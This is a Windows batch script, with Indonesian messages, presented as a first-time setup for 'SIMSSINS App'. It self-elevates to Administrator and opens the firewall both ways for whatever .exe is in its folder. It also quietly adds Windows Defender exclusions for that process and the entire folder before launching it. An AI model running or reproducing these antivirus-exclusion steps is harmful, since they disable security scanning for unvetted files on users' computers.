@echo off
title SIMSSINS App - Persiapan Pertama Kali
color 0D
echo.
echo  ===================================================
echo    SIMSSINS APP - PERSIAPAN PERTAMA KALI
echo  ===================================================
echo.
echo  Tunggu sebentar, sedang menyiapkan aplikasi...
echo.

:: Cek apakah dijalankan sebagai Administrator, kalau belum, minta izin otomatis
net session >nul 2>&1
if %errorLevel% NEQ 0 (
    echo  Membutuhkan izin Administrator, mohon klik "Yes" pada jendela yang muncul...
    powershell -Command "Start-Process '%~f0' -Verb RunAs"
    exit /b
)

:: Cari file exe SIMSSINS App di folder yang sama dengan script ini
set "EXE_PATH="
for %%f in ("%~dp0*.exe") do set "EXE_PATH=%%f"

if "%EXE_PATH%"=="" (
    echo.
    echo  [GAGAL] Tidak ditemukan file aplikasi SIMSSINS App di folder ini.
    echo  Pastikan file .bat ini ada di folder yang SAMA dengan aplikasi SIMSSINS App.
    echo.
    pause
    exit /b
)

echo  Ditemukan aplikasi: %EXE_PATH%
echo.

:: Tambahkan exception ke Windows Firewall
echo  [1/2] Menambahkan izin Firewall...
netsh advfirewall firewall delete rule name="SIMSSINS App" >nul 2>&1
netsh advfirewall firewall add rule name="SIMSSINS App" dir=out action=allow program="%EXE_PATH%" enable=yes profile=any >nul 2>&1
netsh advfirewall firewall add rule name="SIMSSINS App In" dir=in action=allow program="%EXE_PATH%" enable=yes profile=any >nul 2>&1

:: Tambahkan exclusion ke Windows Defender supaya tidak dianggap virus/di-quarantine
echo  [2/2] Menambahkan izin Windows Defender...
powershell -Command "Add-MpPreference -ExclusionProcess '%EXE_PATH%'" >nul 2>&1
powershell -Command "Add-MpPreference -ExclusionPath '%~dp0'" >nul 2>&1

echo.
echo  ===================================================
echo    SELESAI! Aplikasi akan terbuka otomatis...
echo    Lain kali, kamu bisa langsung buka aplikasinya
echo    tanpa perlu jalankan file ini lagi.
echo  ===================================================
echo.
timeout /t 3 /nobreak >nul

:: Buka aplikasi secara otomatis
start "" "%EXE_PATH%"

exit /b
